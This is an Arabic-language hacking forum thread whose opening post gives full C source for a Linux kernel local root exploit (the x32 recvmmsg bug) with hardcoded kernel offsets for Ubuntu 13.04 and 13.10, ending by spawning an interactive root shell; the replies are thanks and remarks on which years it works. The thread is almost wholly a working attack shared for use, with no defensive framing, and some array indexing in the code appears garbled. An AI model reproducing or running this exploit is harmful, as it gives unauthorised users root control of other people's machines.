الوسوم:
حالة الموضوع:
مغلق
  1. saudi-hack

    saudi-hack Developer

    الأنتساب:
    ‏30 أغسطس 2012
    المشاركات:
    105
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    الـــريآضض
    [​IMG]

    بسم الله الرحمن الرحيم

    السلام عليكم ورحمة الله تعالى وبركاته

    [​IMG]

    [PERL]#define _GNU_SOURCE
    #include <netinet/ip.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <unistd.h>
    #include <sys/syscall.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <sys/utsname.h>
    #define __X32_SYSCALL_BIT 0x40000000
    #undef __NR_recvmmsg
    #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
    #define VLEN 1
    #define BUFSIZE 200

    int port;

    struct offset {
    char *kernel_version;
    unsigned long dest; // net_sysctl_root + 96
    unsigned long original_value; // net_ctl_permissions
    unsigned long prepare_kernel_cred;
    unsigned long commit_creds;
    };

    struct offset offsets[] = {
    {"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
    {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
    {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
    {NULL,0,0,0,0}
    };

    void udp(int b) {
    int sockfd;
    struct sockaddr_in servaddr,cliaddr;
    int s = 0xff+1;

    if(fork() == 0) {
    while(s > 0) {
    fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
    sleep(1);
    s--;
    fprintf(stderr,".");
    }

    sockfd = socket(AF_INET,SOCK_DGRAM,0);
    bzero(&servaddr,sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
    servaddr.sin_port=htons(port);
    sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
    exit(0);
    }

    }

    void trigger() {
    open("/proc/sys/net/core/somaxconn",O_RDONLY);

    if(getuid() != 0) {
    fprintf(stderr,"not root, ya blew it!\n");
    exit(-1);
    }

    fprintf(stderr,"w00p w00p!\n");
    system("/bin/sh -i");
    }

    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;

    // thx bliss
    static int __attribute__((regparm(3)))
    getroot(void *head, void * table)
    {
    commit_creds(prepare_kernel_cred(0));
    return -1;
    }

    void __attribute__((regparm(3)))
    trampoline()
    {
    asm("mov $getroot, %rax; call *%rax;");
    }

    int main(void)
    {
    int sockfd, retval, i;
    struct sockaddr_in sa;
    struct mmsghdr msgs[VLEN];
    struct iovec iovecs[VLEN];
    char buf[BUFSIZE];
    long mmapped;
    struct utsname u;
    struct offset *off = NULL;

    uname(&u);

    for(i=0;offsets.kernel_version != NULL;i++) {
    if(!strcmp(offsets.kernel_version,u.release)) {
    off = &offsets;
    break;
    }
    }

    if(!off) {
    fprintf(stderr,"no offsets for this kernel version..\n");
    exit(-1);
    }

    mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
    mmapped &= 0x000000ffffffffff;

    srand(time(NULL));
    port = (rand() % 30000)+1500;

    commit_creds = (_commit_creds)off->commit_creds;
    prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;

    mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);

    if(mmapped == -1) {
    perror("mmap()");
    exit(-1);
    }

    memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);

    memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);

    if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
    perror("mprotect()");
    exit(-1);
    }

    sockfd = socket(AF_INET, SOCK_DGRAM, 0);
    if (sockfd == -1) {
    perror("socket()");
    exit(-1);
    }

    sa.sin_family = AF_INET;
    sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    sa.sin_port = htons(port);

    if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
    perror("bind()");
    exit(-1);
    }

    memset(msgs, 0, sizeof(msgs));

    iovecs[0].iov_base = &buf;
    iovecs[0].iov_len = BUFSIZE;
    msgs[0].msg_hdr.msg_iov = &iovecs[0];
    msgs[0].msg_hdr.msg_iovlen = 1;

    for(i=0;i < 3 ;i++) {
    udp(i);
    retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
    if(!retval) {
    fprintf(stderr,"\nrecvmmsg() failed\n");
    }
    }

    close(sockfd);

    fprintf(stderr,"\n");

    trigger();
    }[/PERL]

    ملاحظات : الاكسبلويت يعمل على تحديث 2013 ولم يتم تجربة 2014

    ملاحظة اخرى : النظام اوبنتو

     
  2. KhaLaF

    KhaLaF V • I • P

    الأنتساب:
    ‏13 يوليو 2014
    المشاركات:
    667
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    18
    الجنس:
    ذكر
    الوظيفة:
    طـآلـب
    الإقامة:
    (-مـEgypTـصر-)
    رد: Linux 3.4 Local Root Exploit

    يشر فنى ان اكوون أول رد مبدع والله
    الله يعطييك العآآفيه تقبـل م روو رى =)
     
  3. saudi-hack

    saudi-hack Developer

    الأنتساب:
    ‏30 أغسطس 2012
    المشاركات:
    105
    الإعجابات المتلقاة:
    4
    نقاط الجائزة:
    18
    الإقامة:
    الـــريآضض
    رد: Linux 3.4 Local Root Exploit

    الله يعافيك نورت حبيبي :ُ{1e}:ُ
     
  4. k!lwa s&rian ro0t

    k!lwa s&rian ro0t مراقب عآم

    الأنتساب:
    ‏3 أغسطس 2014
    المشاركات:
    742
    الإعجابات المتلقاة:
    1,233
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    رد: Linux 3.4 Local Root Exploit

    مشكوووووووووووووور .. حلوة .. عاشت ايدك حبيبي ..

    هلا بأهل السعودية ارض ( عــــامر الفريدي ) و ( الدمار الشامــــل )

    من اقوى الهاكزر صراحة :))

    ولكن بالمناسبة مستحيل يعمل عال2014

    تقبل مروري ..


     
  5. MR.CAPTCHA

    MR.CAPTCHA Expert Developer ExpErt DeveloPer

    الأنتساب:
    ‏30 أغسطس 2014
    المشاركات:
    1,786
    الإعجابات المتلقاة:
    14
    نقاط الجائزة:
    38
    الوظيفة:
    I.T Student
    الإقامة:
    IRAQ
    رد: Linux 3.4 Local Root Exploit

    عاشت ايدك
    ان شاء الله يفيد الاخوان
     
  6. Mr.PRO

    Mr.PRO Developer

    الأنتساب:
    ‏30 أكتوبر 2014
    المشاركات:
    19
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    1
    رد: Linux 3.4 Local Root Exploit

    بارك الله فيكـ يالغالي .. [​IMG]
     
  7. Th3 J0K3R

    Th3 J0K3R Developer

    الأنتساب:
    ‏2 مايو 2012
    المشاركات:
    74
    الإعجابات المتلقاة:
    3
    نقاط الجائزة:
    8
    رد: Linux 3.4 Local Root Exploit

    الله يبآرك فيك أخوُي
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة